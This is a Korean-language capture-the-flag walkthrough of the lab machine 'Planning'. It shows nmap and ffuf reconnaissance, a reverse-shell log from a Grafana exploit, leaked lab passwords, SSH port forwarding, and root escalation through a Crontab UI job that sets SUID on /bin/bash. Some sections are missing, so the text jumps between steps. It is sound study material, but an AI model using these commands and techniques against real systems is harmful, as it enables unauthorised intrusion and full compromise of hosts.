mkdir -p Planning/{nmap,gobuster,exploits,loot}
cd Planning
④ 호스트명 등록
💡 /etc/hosts 란? DNS 서버에 묻기 전에 컴퓨터가 먼저 참고하는 로컬 주소록 파일입니다. 브라우저가 planning.htb 를 입력받으면 이 파일에서 IP를 찾습니다. 여기에 등록하지 않으면 브라우저가 도메인을 찾지 못합니다.
# 처음부터 두 도메인을 한 줄에 등록합니다
# (나중에 grafana 서브도메인이 발견되면 이 줄을 아래로 교체하면 됩니다)
echo "10.129.32.222 planning.htb grafana.planning.htb" | sudo tee -a /etc/hosts
2. 정찰
목적: 타겟에서 열린 포트와 실행 중인 서비스를 파악합니다. 포트 = 공격자가 진입할 수 있는 문. 어떤 문이 열려 있는지 먼저 확인합니다.
2-1. 전체 포트 스캔
💡 포트란? 하나의 서버에서 여러 서비스를 구분하는 번호입니다. 22번(SSH) = 원격 접속, 80번(HTTP) = 웹, 443번(HTTPS) = 보안 웹 등. 1번부터 65535번까지 있으며 먼저 전체를 빠르게 훑어봅니다.
# 전체 포트 스캔 후 열린 포트 번호만 추출해 변수에 저장
ports=$(nmap -p- --min-rate=1000 -T4 10.129.32.222 -oN nmap/allports.txt \
| grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
echo $ports
# 출력: 22,80
2-2. 상세 서비스 스캔
# 열린 포트만 정밀 분석
nmap -p$ports -sC -sV 10.129.32.222 -oN nmap/detailed.txt
💡 nmap 옵션 설명
옵션
의미
-p$ports
발견된 포트만 스캔 (시간 절약)
-sC
기본 스크립트 실행 (배너, 버전 등 자동 수집)
-sV
서비스 버전 탐지
-oN
결과를 파일로 저장
스캔 결과:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
2-3. 포트 요약
Port
Service
버전
다음 행동
22/tcp
SSH
OpenSSH 9.6p1
크레덴셜 확보 후 재시도
80/tcp
HTTP
nginx 1.24.0
브라우저 접속 → 웹 탐색 시작
관찰: 80번 포트에 접속하면 http://planning.htb 로 302 리다이렉트됩니다. /etc/hosts 에 등록했으니 브라우저에서 접속 가능합니다.
3. 서비스 열거
목적: 웹 서비스를 탐색하고 숨겨진 서브도메인과 공격 표면을 발굴합니다.
3-1. 웹 메인 페이지 분석
브라우저에서 http://planning.htb 접속합니다.
온라인 강의 플랫폼(EDUKATE)이 나타납니다. 메뉴, 소스코드, 로그인 폼 등을 확인해도 뚜렷한 취약점이 보이지 않습니다.
# 기술 스택 자동 탐지
whatweb http://planning.htb
메인 페이지에서 단서가 없으므로 숨겨진 서브도메인을 탐색합니다.
3-2. 서브도메인 퍼징 — ffuf
💡 서브도메인(Subdomain)이란? grafana.planning.htb 처럼 메인 도메인 앞에 붙는 접두사입니다. 같은 IP에 여러 서브도메인이 있을 수 있고, 각각 다른 서비스를 제공합니다. 브라우저는 Host: 헤더로 어떤 서비스를 요청하는지 서버에 알려줍니다.
💡 ffuf 서브도메인 퍼징 원리 Host: FUZZ.planning.htb 처럼 FUZZ 자리에 단어 목록을 하나씩 대입해서 서버의 응답 크기가 다른 경우를 찾습니다. 응답이 다르다 = 그 서브도메인이 실제로 존재한다는 뜻입니다.
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 9001
Step 2 — 터미널 1(nc 리스너)에서 연결 수신:
listening on [any] 9001 ...
connect to [10.10.14.220] from (UNKNOWN) [10.129.32.222] 41562
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/usr/share/grafana
Initial Shell 획득 ✅
⚠️ 중요:id 가 root를 반환하지만 이것은 Docker 컨테이너 안의 root 입니다. 실제 호스트 시스템이 아닙니다!
Step 3 — Docker 컨테이너 확인:
hostname
7ce659d667d7
💡 Docker 컨테이너란? 서버 안에서 독립적으로 실행되는 가상의 격리된 환경입니다. 컨테이너 안에서는 root여도 호스트 시스템 파일에 직접 접근할 수 없습니다. hostname 결과가 숫자·문자 조합의 해시값이면 Docker 컨테이너입니다. 컨테이너를 탈출해서 진짜 호스트 시스템에 접근해야 합니다.
5. 횡적 이동
목적: Docker 컨테이너 안에서 호스트 계정(enzo)으로 이동해 user.txt를 획득합니다.
5-1. 환경 변수에서 크레덴셜 탐색
💡 환경 변수(Environment Variable)란? 프로그램 실행 시 전달하는 설정값입니다. Docker 컨테이너는 설정파일 대신 환경 변수로 DB 비밀번호, 관리자 계정 등을 전달하는 경우가 많습니다. 개발 편의를 위해 보안보다 설정 간편함을 택한 결과 민감한 정보가 노출됩니다.
발견 1:zip -P P4ssw0rdS0pRi0T3c — zip 파일 암호화 패스워드가 명령줄에 그대로 노출됩니다.
발견 2: Cleanup 크론이 /root/scripts/cleanup.sh 를 매 분(* * * * *) 실행합니다. Crontab UI 서비스 자체가 root 권한으로 실행되므로, 이 UI에서 만드는 모든 Cron 작업도 root 권한으로 실행됩니다.
✅ 크레덴셜 #2 획득 (root)
계정
패스워드
출처
root
P4ssw0rdS0pRi0T3c
crontab.db zip -P 평문 하드코딩
6-L-2. SSH 포트 포워딩 → 내부 서비스 접근
💡 SSH 포트 포워딩이란? SSH 연결을 터널로 사용해 접근할 수 없는 포트를 내 로컬로 가져오는 방법입니다. ssh -L 8000:127.0.0.1:8000 enzo@planning.htb 를 실행하면 내 컴퓨터의 8000 포트 → 타겟 서버의 127.0.0.1:8000 으로 연결됩니다. 이후 내 브라우저에서 http://127.0.0.1:8000 에 접속하면 타겟 내부 서비스를 볼 수 있습니다.
새 터미널을 열고 실행합니다.
ssh -L 8000:127.0.0.1:8000 enzo@planning.htb
# 패스워드: RioTecRANDEntANT!
# 연결 유지 (창 닫지 말 것)
브라우저에서 http://127.0.0.1:8000 접속 → 로그인 폼 확인.
crontab.db 에서 찾은 크레덴셜로 로그인합니다.
Username : root
Password : P4ssw0rdS0pRi0T3c
💡 Crontab UI란? Cron 작업(주기적으로 자동 실행되는 명령)을 웹 UI로 관리하는 애플리케이션입니다. Cleanup Cron이 /root/scripts/cleanup.sh 를 * * * * * (매 분마다) 실행합니다. 이 서비스가 root 계정으로 실행되므로, 여기서 새 Cron을 생성하면 root 권한으로 실행됩니다.
6-L-3. Cron을 통한 SUID bash 설정 → root 쉘
💡 SUID(Set User ID)란? 파일 실행 시 파일 소유자의 권한으로 실행되도록 하는 특별한 권한 비트입니다. /bin/bash 의 소유자는 root입니다. chmod u+s /bin/bash 로 SUID 비트를 설정하면 누구든지 bash -p 로 실행할 때 root 권한의 bash를 얻을 수 있습니다.
Step 1 — Crontab UI에서 새 작업 생성:
브라우저 Crontab UI → New 버튼 클릭:
Command : chmod u+s /bin/bash
스케줄은 Minute·Hour·Day·Month·Week 각 필드에 * 을 입력하거나 Quick Schedule에서 원하는 주기를 선택합니다 (매 분 실행 = * * * * *).
Save 클릭.
Step 2 — Run Now 버튼으로 즉시 실행:
기다리지 않고 Run Now 버튼을 클릭합니다.
Step 3 — enzo SSH 세션에서 SUID 확인:
enzo@planning:/opt/crontabs$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
rws 에서 s = SUID 비트가 설정됨 ✅
💡 -rwsr-xr-x 해석
-rws: 소유자(root)의 읽기·쓰기·실행 권한, s = SUID 설정
r-x: 그룹의 읽기·실행 권한
r-x: 다른 사용자의 읽기·실행 권한
단, bash는 보안상 SUID를 자동으로 무시하므로 반드시 bash -p 로 실행해야 합니다. -p 없이 bash 만 실행하면 일반 권한으로 시작됩니다.
Step 4 — bash -p 로 root 쉘 획득:
enzo@planning:/opt/crontabs$ bash -p
bash-5.2# whoami
root
bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
💡 bash -p 의 -p 플래그 보통 bash를 실행하면 SUID 권한을 자동으로 일반 유저로 낮춥니다(보안을 위해). -p 옵션은 이 강등을 막고 root euid(유효 UID)를 유지합니다.
Discussion 0